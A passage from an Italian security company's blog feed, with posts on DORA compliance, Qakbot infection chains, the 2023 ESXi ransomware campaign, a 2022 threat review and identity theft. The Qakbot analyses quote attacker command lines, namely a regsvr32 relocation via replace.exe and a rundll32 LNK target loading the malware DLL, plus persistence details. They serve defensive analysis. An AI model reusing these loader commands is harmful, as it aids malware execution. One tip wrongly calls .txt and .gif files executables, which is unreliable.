Enti pensionistici aziendali o professionali;
Agenzie di rating del credito;
Amministratori di indici di riferimento critici;
Fornitori di servizi di crowdfunding;
Repertori di dati sulle cartolarizzazioni;
Fornitori terzi di servizi TIC.

Quali le maggiori conseguenze

Il regolamento DORA rimanda al principio di proporzionalità (Art.4) e quindi rimette al singolo soggetto l’onere di valutare e dimostrare il livello dei propri requisiti e come questi possano essere implementati.

Le maggiori conseguenze riguarderanno:

Gap analysis: revisionare la propria struttura di governance interna e le misure di gestione del rischio e degli incidenti per valutare oltre che la consapevolezza aziendale, anche le strategie di risposta e di ripristino adeguate ai requisiti normativi.
Revisione dei meccanismi di reporting: valutare la capacità dell’azienda in ambito di reportistica ed eventualmente implementare o adeguare le esistenti procedure di segnalazione degli incidenti sulla base dei nuovi requisiti.
Valutazione dei fornitori critici: mappare i contratti con i fornitori terzi per valutare le criticità rispetto all’operatività del business; tramite la revisione delle pratiche sarà possibile un adeguamento strategico di contenimento del rischio.

I requisiti espressi da DORA non sono in contrasto con le altre normative ed, in primis, con lo stesso GDPR. Ogni tipologia di azienda si trova di fronte alla necessità di intraprendere un percorso di consolidamento e rafforzamento della propria struttura di difesa e di tutta la catena dei fornitori. Esistono diverse peculiarità rispetto al campo normativo, al settore merceologico di appartenenza passando dal livello di riservatezza dei dati gestiti, ma dobbiamo essere consapevoli che il tema della sicurezza delle informazioni è centrale per la vita di ogni struttura aziendale.

La documentazione originale è scaricabile al seguente sito

Analisi del malware Qakbot

Marco Prosdocimi — Tue, 07 Mar 2023 14:16:01 +0000

Torniamo all’articolo relativo al malware Qakbot per fare un approfondimento sul suo funzionamento. L’attività relativa alle operazioni del malware QakBot, come già avevamo anticipato a dicembre, ha registrato un incremento.

Abbiamo, quindi, studiato il malware attraverso un’analisi dettagliata per approfondire il tema e mostrare il suo funzionamento.

Funzionamento del malware

Il malware in questione, attivo dal 2008, è una minaccia che in questi 15 anni di “vita” continua ad evolversi per cercare di eludere, quanto più possibile, i controlli di rilevamento.

In particolare, il malware viene veicolato tramite delle campagne phishing che portano la vittima a scaricare degli allegati dannosi, in genere creati con modelli esistenti di Microsoft Office, come fatture o ordini di vendita.

Gli attaccanti cercano di implementare tecniche di offuscamento tramite l’utilizzo di archivi ZIP.

Di seguito si riporta un esempio di flusso di infezione di Qakbot.

Il malware viene recapitato con una mail di phishing che contiene un archivio zip protetto da password e che a sua volta contiene un’immagine ISO, cioè un’estensione utilizzata generalmente per file immagine.

Alcuni esempi di nome sono:

Details12.iso
Contract_1.iso
Cancellation#2 iso

L’ISO contiene un file LNK, collegamento rapido di Windows, che mostra un’icona familiare di una directory o di un documento che induce la vittima a fare doppio clic su di esso. Inoltre, è presente una cartella nascosta che contiene alcuni payload e la DLL (Dynamic Link Library) di Qakbot, una libreria contenente codice e dati utilizzabili da più di un programma contemporaneamente.

Il file LNK funge da collegamento a cmd.exe che esegue uno script batch (.cmd) presente nella directory nascosta. Nella stessa directory sono anche presenti quattro file (.txt, .cmd, .gif e .dat) e il file LNK che esegue il file .cmd in cui è contenuto il seguente codice:

Lo script batch ha due gruppi di comandi: “set” (righe 4-8) e “call” (riga 10). Il gruppo “set” crea cinque variabili di ambiente e il gruppo “call” esegue una riga di comando offuscata con tutte le variabili di ambiente.

Il malware utilizza una tecnica di mascheramento per evitare i rilevamenti che consiste nel posizionare il file binario regsvr32.exe in una posizione diversa da quella standard, utilizzando replace.exe.

replace C:\Windows\system32\regsvr32.exe C:\Users\Admin\AppData\Local\Temp /A

Il parametro /A copia il nuovo file nella directory richiesta anziché spostare il file esistente. %1 %2 %3 sono gli argomenti che risiedono nella riga di comando LNK. La loro concatenazione, che risulta in regsvr32.exe, verrà eseguita per caricare la DLL di Qakbot in un processo chiamato DLL Injection. La DLL di Qakbot in questo caso è il file “volleyed.dat”.

Invece, nella tecnica sfruttata da Qakbot, che si chiama DLL Injection, si usa una tecnica di Code Injection per eseguire del codice all’interno di un processo forzandolo a caricare una libreria DLL esterna.

Essa viene solitamente eseguita scrivendo il percorso di una DLL nello spazio di memoria del processo target. Questa injection può essere eseguita con chiamate API native di Windows. La DLL di Qakbot prende di mira un processo che verrà scelto da un elenco codificato in base alle soluzioni AV in esecuzione sul sistema compromesso, al fine di eluderle.

Alcuni processi target sono:

%SystemRoot%\SysWOW64\wermgr.exe (nelle ultime campagne il processo target era: %SystemRoot%\SysWOW64\explorer.exe)
%SystemRoot%\SysWOW64\mobsync.exe
%SystemRoot%\SysWOW64\msra.exe
%SystemRoot%\SysWOW64\OneDriveSetup.exe
%ProgramFiles(x86)%\Internet Explorer\iexplore.exe

Dopo l’iniezione, Qakbot corrompe il file sul disco sovrascrivendolo, in modo da interferire con i tentativi di analisi forense. A questo punto, il processo Qakbot iniettato esegue comandi di discovery usando processi legittimi di Windows.

Tramite i comandi di discovery si raccolgono informazioni sul sistema compromesso e si inviano le informazioni al server C2. Questa azione serve agli autori del malware per mappare il sistema e sfruttare possibili movimenti laterali. Il meccanismo di persistenza, che qui non verrà approfondito, consiste nello scrivere una chiave di registro sotto (HKCU\Software\Microsoft\Windows\CurrentVersion\Run).

Un’altra delle azioni spesso eseguite dai criminali tramite l’infezione di qakbot è portare all’esecuzione di Mimikatz o Cobalt Strike: la prima funzionalità consente ai criminali di scaricare password e hash NTLM dalla memoria, raccogliere ticket Kerberos ed eseguire un attacco chiamato “Pass the Hash”, per cui i criminali eseguono il movimento laterale e l’escalation dei privilegi.

In conclusione, è stato osservato che l’attacco viene portato avanti direttamente dal criminale che procede ad eseguire un ransomware, portando alle conseguenze che sono note a tutti.

Consigli per difendersi

Il malware Qakbot viene distribuito principalmente tramite campagne di phishing, in cui si fa leva sulla disattenzione degli utenti per spingerli ad aprire gli allegati di posta elettronica. Un clic di troppo può quindi portare a conseguenze molto gravi che dipendono, anche, dal tipo di malware distribuito. Nonostante nel mondo della sicurezza informatica non sia possibile impedire totalmente un’infezione, esistono comunque delle regole di difesa da mettere in pratica contro questo tipo di minacce.

In particolare:

non scaricare gli allegati proveniente da mittenti sconosciuti;
è bene prestare attenzione anche se il mittente è conosciuto nel momento in cui vengono condivise delle informazioni non richieste;
non eseguire file eseguibili (.txt, .cmd, .gif e .dat) allegati alle email, a meno di non essere assolutamente certi della provenienza;
non abilitare le macro all’interno dei prodotti Office;
in caso di dubbio, contattare il mittente prima di aprire l’allegato per chiedere ulteriori informazioni.

In caso di dubbi o se sei vittima di un attacco puoi scriverci a sos@cybergon.com.

Attacco ai server VMware ESXi: cosa è successo

Ilaria Martinelli — Tue, 14 Feb 2023 10:16:00 +0000

Nella giornata di domenica 5 febbraio le testate giornalistiche, i telegiornali nazionali e le radio hanno parlato di un massiccio attacco informatico in tutto il mondo che ha visto colpita anche la nostra Nazione.

Ma è davvero così?

Ripercorriamo insieme le tappe e ricostruiamo cosa è successo.

Cosa è successo

Venerdì 3 febbraio l’Agenzia per la Cybersicurezza Nazionale (ACN) ha segnalato, in una comunicazione sul CSIRT italiano, di aver rilevato un “massiccio sfruttamento” attivo in rete della vulnerabilità CVE-2021-21974 presente nei prodotti VMware EXSi.

Sull’accaduto, sempre nella stessa giornata, il CERT-Francese aveva pubblicato un Security Advisory in cui evidenziava i dettagli dello sfruttamento. Dalle analisi è emerso che la campagna era indirizzata anche verso soggetti nazionali.

In particolare, ad oggi, risultano compromessi circa 2400 server totali, dei quali circa una ventina interessano l’Italia. Nella foto sottostante troviamo la mappatura dei server compromessi.

Con un dettaglio anche alla situazione europea.

Facendo riferimento all’Europa, sono state diverse le Nazioni prese di mira, ma gli attacchi non sono stati così consistenti come è stato riportato. Lo dimostra l’esempio dell’Italia che, come già accennato sopra, è stata interessata solo da circa 20 server compromessi.

Come comportarsi

Il primo aspetto da sottolineare riguarda il fatto che la vulnerabilità è del 2021 e la relativa patch è stata resa disponibile da Febbraio 2021. Quello che emerge con evidente criticità nell’analisi di questa situazione non è tanto lo sfruttamento della vulnerabilità da parte di una cyber gang, quanto più la mancata applicazione della patch di sicurezza anche dopo due anni dalla sua evidenza.

Ormai da anni i cyber criminali utilizzano lo sfruttamento di vulnerabilità per infiltrarsi all’interno di infrastrutture, corrompere i dati e richiedere un riscatto, in cambio del recupero dei file. Sono anche anni che si ricevono notizie di sfruttamento di vulnerabilità zero-day, cioè vulnerabilità rilevate ma per la quale i produttori del software ancora non hanno creato una patch.

Tuttavia il caso sopracitato non rispecchia la realtà attuale, poiché, come già detto in precedenza, la patch era stata rilasciata immediatamente dopo la scoperta della vulnerabilità stessa ed è ampiamente disponibile da un lungo periodo di tempo. Il focus del problema, dunque, deve necessariamente spostarsi sulla mancanza di processi che garantiscano una pronta applicazione delle patch nell’esatto momento in cui queste diventano pubbliche, e non sullo sfruttamento delle vulnerabilità in sé.

Non è più possibile prendersi il lusso di pensare che una determinata realtà aziendale non possa essere presa di mira, semmai è il momento di realizzare il contrario. Il target dei gruppi criminali si è allargato non solo alle grandi aziende ma anche alle PMI, detentrici spesso di Proprietà Intellettuale di rilevanza per il business, ma non abbastanza strutturate a livello di sicurezza informatica: il bersaglio perfetto.

Nella foto sottostante si riporta uno screen della chat del gruppo criminale Nevada che sta sfruttando la vulnerabilità di ESXi per la distribuzione del ransowmare.

Cosa fare

La vulnerabilità, nota come CVE-2021-21974 e con uno score 8.8 sulla scala CVSS.V3, consiste in una remote command execution (RCE), ovvero una vulnerabilità che permette l’esecuzione di codice da remoto, che potrebbe essere sfruttata da un attaccante esterno alla rete aziendale e non autenticato, a causa di un problema presente nel servizio OpenSLP. La patch di sicurezza che risolve questo problema è stata distribuita da VMWare nel febbraio 2021, pertanto i sistemi aggiornati non sono soggetti a questa problmatica.

Per eventuali dubbi, riportiamo il link alla pagina Security Advisories ufficiale dell’azienda e relativa alla vulnerabilità in questione. Oltre ad applicare la patch di sicurezza, è possibile risolvere il problema su una versione di ESXi vulnerabile disattivando il servizio SLP.

Troppa confusione

Ad acuire il senso di pericolo e agitazione, negli stessi giorni sono stati registrati due eventi che hanno impattato gli utenti: il down della rete Tim e l’attacco informatico ad Acea. Nell’arco di poche ore, questi tre trend sono stati fatti convergere in un unico tema generale: attacco informatico a Tim e Acea.

Si sottolinea che tale associazione di idee e la narrazione che ne è seguita sono totalmente false e disconnesse tra di loro.

Tim ha registrato problemi alla connessione Internet, sia su rete fissa che mobile, su tutto il territorio nazionale. Nel pomeriggio un portavoce dell’azienda ha fatto sapere che il down era dovuto ad un problema di interconnessione internazionale e che erano in corso delle analisi per la risoluzione del problema. Dunque, nessuna conseguenza imputabile ad un attacco informatico in corso. Ne è la prova anche la risoluzione del problema: la stessa tempistica di ripristino, infatti, sarebbe pressoché impossibile se il danno fosse causato da un attacco informatico di livello critico.

Il secondo tema ha riguardato l’attacco ad Acea, azienda che si occupa della gestione dei rifiuti, della produzione e distribuzione dell’energia elettrica e del servizio idrico per la città di Roma. L’azienda è stata colpita da un attacco sferrato dalla cyber gang BlackBasta, che sembrava aver compromesso il funzionamento dei sistemi IT. Onde evitare che le conseguenze dell’attacco si propagassero su altre risorse informatiche, si è provveduto allo spegnimento dei server potenzialmente raggiungibili dal malware. Infine, l’azienda, grazie a delle soluzioni di backup adeguate, è stata in grado di tornare operativa senza perdita di dati né pagamento del riscatto.

Come emerge da fonti ufficiali anche delle aziende coinvolte, quindi, non vi è una correlazione tra l’attacco informatico e la compromissione di VMware EXSi.

In conclusione

Il weekend ha portato grande scompiglio principalmente a livello mediatico e sugli utenti finali, poiché chi lavora nel mondo della cyber security è abituato a confrontarsi spesso con scenari di questo tipo. Come CybergON, ci sentiamo quindi di spingere per un ridimensionamento della percezione della portata dell’attacco, che non sembra più grave o più sofisticato rispetto a quelli che vengono organizzati e condotti quotidianamente.

Sebbene molti dispositivi siano stati crittografati, la campagna nel suo complesso non ha avuto successo: gli aggressori, infatti, non sono riusciti a crittografare i file flat in cui sono archiviati i dati del disco virtuale. Gli esperti hanno preparato uno script speciale per il ripristino dei server interessati, grazie ai quali dovrebbero esserci meno problemi per via dell’automatizzazione dell’intero processo CISA. Si consiglia di eseguire prima un backup dei file per evitare di incorrere ad una ulteriore compromissione.

Per finire, sottolineiamo l’importanza di questi momenti per accelerare la conoscenza della sicurezza informatica, in modo da evitare allarmismi e da mantenere un livello di protezione adeguato e aggiornato.

Se desiderassi il nostro supporto, puoi mandarci una mail a sos@cybergon.com con i dettagli della richiesta.

Almanacco 2022: eventi passati e nostre considerazioni

Filadelfio Emanuele — Thu, 29 Dec 2022 14:16:01 +0000

Fine anno tempo di bilanci.

Ormai, come nostra consuetudine, vogliamo ripercorrere insieme quanto accaduto nel 2022 da un punto di vista della sicurezza informatica, considerando i trend principali e le future evoluzioni.

Se l’anno 2021 aveva visto un incremento degli attacchi in termini di quantità e gravità, tale tendenza, positiva nei numeri ma negativa in termini etici, si è confermata ampiamente anche nel 2022.

Il numero degli attacchi è aumentato di circa l’8% (Rapporto Clusit 2022), con una media di 191 attacchi al mese (contro i 171 dell’anno scorso). Inoltre, gli attacchi hanno avuto una severity “alta” per metà del numero registrato, mentre quasi un terzo una gravità “critica”. Questo significa che più della maggior parte degli attacchi ha in qualche modo compromesso e severamente danneggiato la business continuity delle aziende, intaccando inevitabilmente profitti e costi da sostenere.

Instabilità geopolitica e attacchi informatici

Un tema centrale del 2022 ha riguardato la guerra in Ucraina e le continue tensioni geopolitiche che sono poi sfociate in una vera e propria guerra cibernetica, con continui attacchi informatici che hanno colpito non solo le due Nazioni protagoniste del conflitto ma anche Nazioni esterne, tra cui l’Italia. Due minacce in particolare hanno rubato la scena dal punto di vista della sicurezza informatica: i malware HermeticWiper e Cyclops Blink.

Approfittando della situazione di emergenza, diversi gruppi di cyber criminali hanno veicolato in particolare il malware é HermeticWiper con l’obiettivo di sfruttare la situazione di tensione per colpire quante più organizzazioni possibili.

E infatti, proprio nei mesi di marzo ed aprile, anche in Italia è stato registrato un sensibile incremento della distribuzione di attacchi veicolati da parte di organizzazioni criminali che sfruttavano proprio il sopracitato ransomware per rubare i dati delle aziende colpite e monetizzarli tramite rivendita e richieste di riscatto.

Fonte: True Numb3rs - Numero attacchi per mese in Italia

Le nostre evidenze sul trend 2022

Sebbene i dati del paragrafo precedente mostrino che la situazione ha effettivamente subito un rallentamento durante la primavera, il numero complessivo degli attacchi è rimasto decisamente alto anche durante tutto l’anno.

Il trend riscontrato dalla nostra Business Unit ha messo in evidenza una stagionalità degli attacchi. Nei mesi estivi, e in generale durante i periodi di festa, le attività dei cyber criminali aumentano, come dimostrano gli eventi critici di sicurezza rilevati dal nostro SOC e in evidenza nel grafico sottostante.

Un altro dato interessante che vogliamo condividere riguarda l’orario di creazione degli eventi critici. Anche in questo caso, vengono sfruttati orari come la pausa pranzo e la fine della giornata lavorativa per poter mettere a segno le attività illecite.

Target e tecnologie

I gruppi criminali sono ormai diventati delle vere e proprie organizzazioni, il cui obiettivo è quello pecuniario. Nel grafico sottostante possiamo vedere i maggiori settori industriali che sono stati oggetto delle attività criminali durante il 2022.

Fonte: Rapporto Clusit 2022

È interessante notare come i primi tre settori riconoscibili riguardino il settore healthcare, quello governativo e quello dell’informazione e della tecnologia, cioè proprio quei settori che gestiscono e veicolano enormi quantitativi di dati sensibili. Questo trend è in linea con la situazione precedentemente descritta e anche con il trend dell’anno 2021, in cui i maggiori tre settori erano: governativo, ICT e healthcare.

Per quanto riguarda invece i tipi di attacco troviamo al primo posto l’utilizzo di malware, in tutte le sue tipologie, seguito da attacchi basati su vettori o tecnologie ancora sconosciuti, campagne phishing e vulnerabilità.

Fonte: Rapporto Clusit 2022

Se nel primo semestre dell’anno il conflitto ha avuto un ruolo cardine per gli attacchi informatici registrati, nel secondo semestre la scena è stata rubata da Microsoft Exchange ProxyNotShel, una vulnerabilità che ha reso attaccabili quasi 250 mila server in tutto il mondo, di cui quasi 10.000 solo sul territorio nazionale.

Trend del 2023

Quali sono i principali trend che impatteranno il panorama e il mercato della cybersecurity?

Innovazione tecnologica

La cybersecurity è influenzata dall’innovazione tecnologica. Per questa ragione, essere in grado di anticipare i trend crea l’opportunità di sviluppare un vantaggio competitivo a supporto e protezione della continuità del business.

In particolare, per il nuovo anno possiamo considerare tre macrocategorie:

Sviluppo nuove tecnologie come l’Artificial Intelligence, la Blockchain o il 5G. L’innovazione può essere uno strumento utile contro gli attacchi informatici poiché l’uso di nuove tecnologie sia di difesa che di attacco permettono all’organizzazione una maggiore protezione. In particolare, per quanto riguarda l’Artificial Intelligence e la Blockchain, l’abilità di prevenire rischi e minacce tramite le tecnologie sopracitate con il riconoscimento di comportamenti malevoli o dannosi sarà sempre più un fattore differenziante molto forte.
Introduzione di nuove architetture e processi come Security by Design, Zero-Trust o DevSecOps. L’introduzione di elementi fisici e logici è fondamentale per il controllo dell’effettiva integrità del perimetro aziendale, la cui verifica puntuale avviene tramite l’adozione di principi, metodologie e paradigmi architetturali. Uno dei trend maggiormente in crescita è quello relativo al modello Zero-Trust, un paradigma che presuppone l’assenza di perimetro di rete all’interno del quale gli utenti e le risorse sono considerati automaticamente affidabili. Ripensare alla logica di permessi ed accessi ad ogni nodo della rete aziendale, unito ad un controllo efficace e preciso delle utenze, diventa quindi d’obbligo per un’azienda e per tutti i fornitori che hanno a che fare con essa.
Espansione delle superfici di attacco come il cloud, il metaverso o addirittura il tanto amato smart working. Ad esempio, la crescente adozione di sistemi cloud, accelerata dalla situazione di emergenza sanitaria, rende sempre più necessaria l’introduzione di nuove competenze dedicate e di opportuni sistemi di controllo, monitoraggio e orchestrazione, così come le modalità di lavoro ibride, che prevedono l’utilizzo di dispositivi personali e reti domestiche, costituiscono ormai la nuova normalità. Le aziende devono adottare tecnologie e soluzioni per la sicurezza degli endpoint e la mitigazione del rischio derivante dal fattore umano, specialmente in considerazione dei comportamenti richiesti a ciascuna mansione aziendale.

Importanza crescente dell’AD Audit

Strettamente collegato alla logica Zero-Trust è la gestione delle utenze presenti nell’Active Directory di un’azienda. Monitorare i propri utenti abilita a rilevare i tentativi di accesso non riconosciuti in tempo reale. L’AD Audit è un tool utilizzato per riconoscere eventuali anomalie nella gestione delle utenze, così come i processi ad esse connessi, come la dimissione delle utenze di un dimissionario, che spesso sono fortemente sottostimati rispetto al rischio connesso. Tramite l’AD Audit, si effettua inoltre il controllo delle password delle diverse utenze in uso, in modo da rilevare password deboli, riutilizzate o compromesse e agire tempestivamente in caso di necessità.

Proprio per l’importanza strategica del controllo e l’attuale poca attenzione che viene riservata, per il 2023 si prevede un investimento sensibile nel servizio, unitamente ad una crescente attenzione nella creazione di policy interne volte alla gestione corretta.

Per capire l’impatto positivo dell’analisi, riportiamo i risultati derivati dalla nostra analisi diretta di un campione di oltre 90.000 utenze prese in esame:

il 28% degli utenti risulta avere una password duplicata, questo significa che a più username sono collegate le stesse password
il 10% degli utenti risulta avere una password compromessa, ovvero presente in qualche data breach
il 4% degli utenti risulta un admin e quindi detiene pieni poteri sull’Active Directory aziendale
il 65% degli utenti risulta non cambiare la password da oltre 90 giorni (il 52% da oltre 365).

Lo spaccato mette in allarme su come nel 2023 per le aziende diventerà di primaria importanza investire e creare grande consapevolezza sull’utilizzo e la gestione corretta delle password, una base fondamentale per la sicurezza informatica che viene ancora trattata con troppa leggerezza.

Probabilmente nel 2023 si assisterà anche all’inserimento pervasivo di uno o più fattori di autenticazione, i cosiddetti MFA, di cui fa parte l’autenticazione a due fattori, già in uso per i servizi bancari e amministrativi come lo SPID. Proprio l’innovazione sui processi di autenticazione sarà parte della strategia per mitigare i rischi derivati da una gestione approssimativa dell’Active Directory, come i problemi di furto delle password aziendali.

Fattore umano

Old but gold, non possiamo non menzionare l’importanza che continuerà ad avere il fattore umano, sia come fonte di rischio, sia come valido alleato per una pronta prevenzione e/o risoluzione dei rischi.

Come abbiamo visto dal grafico precedente, il 14% degli attacchi arriva da campagne phishing. Questo dato ci mette in allarme su come i cyber criminali continuino a sfruttare la disattenzione e/o l’inesperienza dell’utente per mettere a segno attacchi informatici. Non è mai abbastanza importante, quindi, sottolineare che il fattore umano gioca ancora un ruolo fondamentale, soprattutto considerando che investire in una formazione continuativa per il proprio personale ha un costo decisamente più basso rispetto al ripristino di un incidente informatico, senza considerare il costo di un eventuale riscatto.

Agire sul fattore umano e creare una cultura sulla difesa informatica tramite la condivisione di alcune best practice, da un lato, e il buon esempio dato dalle figure apicali in azienda, dall’altro, continua ad essere un punto di attenzione spesso sottovalutato.

Complessità di valutazione di un attacco informatico

Investire in sicurezza informatica è un aspetto fondamentale per poter permettere la business continuity di un’azienda. Tuttavia, molte realtà pensano ancora di essere un target improbabile per le aziende di cybercrimine, oppure ritengono di avere gli strumenti finanziari e legali per sopportare le conseguenze di un attacco.

Per capire davvero quali sono gli effetti degli attacchi informatici in termini di cyber rischi, si riporta un elenco non esaustivo dei maggiori esiti osservati:

Interruzione o ritardi nei processi di business
Costi di ripristino e risarcimento danni
Violazione o alterazione dei dati aziendali
Danni legati alle terze parti
Danni di immagine
Estorsione digitale

Considerando l’impatto, la stima del rischio è utile per quantificare la perdita finanziaria, l’interruzione o il danno reputazionale che un’attività subisce a causa di un attacco.

Esistono diversi fattori che entrano in gioco per stimare il rischio. Questi fattori sono molto soggettivi in base al tipo di azienda, al tipo di attacco ricevuto e all’impatto mediatico, per questo motivo non ci è possibile condividere dei dati oggettivi in termini economici che un attacco può avere sull’attività.

Esiste però una formula che mostra le sei diverse variabili che entrano in gioco.

Fonte: Osservatori Digitali

Si ritiene che nel 2023, al modello sopracitato verranno aggiunte nuove variabili che renderanno ancora più complessa la stima del rischio, ampliando anche il quantitativo di scelte strategiche che fanno la differenza all’interno di un’azienda.

Le nostre considerazioni

Il numero di attacchi ad aziende italiane (e non) è di nuovo aumentato vertiginosamente nell’ultimo anno e proprio per questo, a livello mediatico, un attacco informatico non fa più tanto rumore rispetto a qualche anno fa. Questo, però, non significa che il numero di aziende colpite sia diminuito, ma anzi, le attività registrate, come abbiamo visto, continuano ad aumentare anno dopo anno.

Inoltre, stiamo misurando un cambiamento sui target aziendali presi di mira dalle organizzazioni criminali. Se fino a qualche tempo fa l’obiettivo primario era principalmente la grande impresa, si riscontra un aumento significativo di attacchi anche alle piccole e medie imprese italiane, che non sono preparate ad affrontare una simile situazione, soprattutto da un punto di vista economico. Questo è un sintomo che il mercato del cybercrime sta differenziando sempre più il suo target, con obiettivi diversi in base alla dimensione aziendale.

Un trend che è stato registrato, soprattutto dalle autorità italiane, riguarda le attività illecite che si sono spostate dal mondo fisico a quello digitale. Secondo il report Clusit 2022, nella sezione in collaborazione con la Polizia Postale, è infatti emerso il continuo aumento di crimini digitali, sempre più capillari e puntuali. Questo trend, che è iniziato anche in seguito allo scoppio della guerra cibernetica, continuerà anche nel nuovo anno.

Inoltre, ci troveremo ad affrontare gruppi criminali che uniranno le forze per mettere a punto attacchi sempre più sofisticati e mirati. Agendo come vere e proprie organizzazioni, il cui obiettivo è quello di trarre un guadagno, nell’ultimo anno è spesso capitato di notare delle collaborazioni tra diverse organizzazioni criminali che, focalizzandosi su specifici ambiti della criminalità informatica, sono riuscite a creare vantaggi competitivi. Grazie alla segmentazione delle competenze richieste per perpetrare attività illecite di cyber crimine, infatti, ciascuna organizzazione offre la propria verticalità sul mercato col fine di creare partnership e collaborazioni, proprio come avviene normalmente tra aziende. Questo aspetto crea un ulteriore strato di difficoltà, per un settore che già di per sé è estremamente verticale e che sta a sua volta segmentando questa verticalità.

Un altro aspetto che vogliamo sottolineare riguarda il binomio sicurezza informatica e innovazione tecnologia, due termini che procedono di pari passo. Le aziende che si approcciano all’innovazione, devono avere ben chiaro quali implicazioni essa crea a livello di sicurezza informatica; così anche quelle che si approcciano alla sicurezza informatica devono capire quali innovazioni adottare per poterne trarre un vantaggio concreto. È inutile e controproducente pensare di adottare nuove tecnologie e processi seguendo gli ultimi trend del mercato, senza tener conto dei propri processi aziendali interni o della propria cultura aziendale.

La sicurezza informatica deve diventare un processo continuativo, strutturato e guidato da competenze verticali nel settore, anche per quanto riguarda l’acquisizione di nuove tecnologie e di innovazioni. In poche parole, è inutile dotarsi dei più avanzati livelli di monitoraggio comportamentale, se non viene prima costruita una base di controllo della rete con filtri antispam, antivirus e firewall.

Il quadro diventa ancora più complesso considerando che la nuova cybersecurity che vedremo nel 2023 sarà quindi:

Sistemica (coinvolgerà tutte le persone, organizzazioni e tecnologie di diversa natura e provenienza geografica)
Sociale (l’impatto della cybersecurity non si limiterà ai sistemi informativi, ma avrà ripercussioni sociali, economiche e politiche)
Mutevole (il fenomeno della criminalità informatica, come più volte ripetuto, è costantemente in crescita).

Proprio considerando l’impatto sistemico e sociale della Sicurezza Informatica nel 2023, le imprese non potranno fare a meno di investire in assicurazioni che tengano conto del rischio informatico. Un attacco informatico può costare dai 100.000 ai 3,8 milioni di euro, sia per quanto riguarda il ripristino del funzionamento delle attività sia per il pagamento di eventuali risarcimenti.

Questi numeri spesso segnano il fallimento per molte aziende e proprio per questo sono nate polizze specifiche per il cyber risk, pensate per tutelare dai danni causati da attacchi informatici. Tuttavia le stesse assicurazioni stanno diventando sempre più complesse, con il rischio di diventare poco utilizzate e quindi inutili.

Come ultimo tema, per il 2023 si segnalano due importanti cambiamenti a livello di regolamentazioni internazionali: da una parte la pubblicazione in Gazzetta Ufficiale EU del Regolamento Digital Operational Resilience Act (DORA), che entrerà in vigore a Gennaio 2023 (con applicazione a partire dal 17 Gennaio 2025); dall’altra la Direttiva NIS2, a cui gli stati membri dell’UE dovranno adeguare le proprie normative nazionali entro Ottobre 2024.

Queste due operazioni mirano da un lato ad incrementare le misure di sicurezza a favore della resilienza e della sicurezza informatica del settore finanziario, dall’altro lato ad introdurre obblighi più stringenti, semplificando alcune procedure.

In attesa che entrambe entrino in vigore ci chiediamo, quali impatti avranno sulle imprese italiane il prossimo anno?

Funzionamento del malware QakBot

Simone Errico — Thu, 22 Dec 2022 14:16:01 +0000

Nell’ultimo periodo è stato riscontrato un aumento sul territorio italiano del malware QakBot che viene distribuito principalmente mediante campagne phishing.

L’aumento potrebbe essere imputato alla collaborazione sempre più stretta che viene rilevata tra aziende di cyber crimine diverse. Queste, infatti, acquisendo sempre più una verticalità specifica nelle dinamiche di compromissione di un sistema informatico, stanno creando partnership per sfruttare il vantaggio competitivo l’una dell’altra e portare avanti attacchi sempre più sofisticati. Il comportamento rilevato è del tutto analogo alle partnership che vengono create tutti i giorni da aziende in tutto il mondo, ma sono ovviamente volte ad azioni illegali.

Le due aziende coinvolte in questo caso sono: QakBot, specializzata nell’ottenere accesso non autorizzato a network terzi, e Black Basta, focalizzata sullo sviluppo e la distribuzione di ransomware.

Di seguito svolgiamo una prima analisi del suo funzionamento. Ulteriori informazioni seguiranno nelle prossime settimane.

Come funziona

Il vettore iniziale dell’attacco è riconducibile ad una campagna phishing, forse proveniente da un’azienda che collabora con il bersaglio, in cui le caselle email potrebbero essere state compromesse in precedenza.

L’email che viene inviata alla vittima è simile alla seguente:

Cliccando sul link, viene scaricato un archivio compresso protetto dalla password condivisa all’interno della mail. Questo metodo è molto comune perché permette di bypassare i controlli antivirus. L’archivio scaricato contiene un file IMG (Disk Image File), cioè un file che può essere usato come un disco.

Una volta aperto il file, questo si monta come un normale disco o drive USB e contiene, a sua volta, altri due file.

Uno è un file LNK, un collegamento di Windows, in cui l’icona è stata modificata risultando quella standard di una directory. Il file menzionato ha lo stesso nome dell’archivio compresso scaricato inizialmente e con un target realizzato appositamente, come da immagine.

Il target “%SystemRoot%\system32\rundll32.exe \opengl.dat,DrawThemeIcon” ha lo scopo di eseguire, successivamente al doppio click dell’utente, il secondo file contenuto nella directory chiamato opengl.dat che, nonostante l’estensione molto generica, è una DLL, Dynamic Link Library, una libreria contenente codice e dati utilizzabili da più di un programma contemporaneamente.

Questo file che è una delle più recenti versioni del malware QakBot che, una volta eseguito, prima inietta una propria copia in un processo di sistema e, subito dopo, contatta una lunga serie di server C2 alla ricerca di ulteriori istruzioni.

L’attacco molto probabilmente passa a questo punto nelle mani di un operatore umano che, dopo operazioni di ricognizione, privilege escalation ed eventuale esfiltrazione di dati, lancia il ransomware Black Basta, di cui abbiamo menzionato la collaborazione nell’introduzione. In questo caso, tra l’accesso iniziale e l’esecuzione del ransomware sono passate appena alcune ore.

Inoltre, ricordiamo che è sempre bene affidarsi ad un SOC che opera in ²⁴⁄₇ e che in caso di incident puoi scriverci a sos@cybergon.com.

Il furto d'identità digitale: come difendersi

Ilaria Martinelli — Wed, 16 Nov 2022 14:16:01 +0000

Da quando internet ha iniziato a far parte della nostra vita, navighiamo online, in un mondo parallelo, con una vera e propria identità digitale. I nostri dati sono salvati e le nostre informazioni sono accessibili e condivise per poter svolgere determinate azioni.

Ma sappiamo davvero cosa può succedere alla nostra identità digitale nel momento in cui alcune informazioni ci vengono rubate?

Il furto d’identità è un crimine che ha visto una fortissima impennata: solo nel 2021, sono 11,11 milioni gli italiani vittime di furto di dati e credenziali, inoltre l’Italia è al dodicesimo posto tra tutti i paesi al mondo in termini di account violati.

Facciamo però un passo indietro e indaghiamo la tipologia di crimine.

Il furto d’identità

Il furto d’identità è una pratica per cui un utente finge di essere qualcun altro per eseguire operazioni ed azioni spesso illegali e/o che possono creare danni alla vittima e vantaggi al truffatore.

L’identità può essere sia personale, e fa riferimento alla rappresentazione dell’individuo in relazione al contesto sociale, sia digitale, cioè l’insieme delle risorse digitali che vengono associate in maniera univoca ad una persona fisica.

Per il furto d’identità digitale sono diverse le modalità utilizzate dai cyber criminali. Generalmente si fa leva sulla disattenzione o sull’inesperienza dell’utente.

Social engineering è il termine utilizzato per far riferimento a tutte quelle tecniche che spingono l’utente a compiere un determinato gesto, per esempio il click sul link contenuto all’interno di una mail, che è propedeutico al furto di informazioni sensibili.

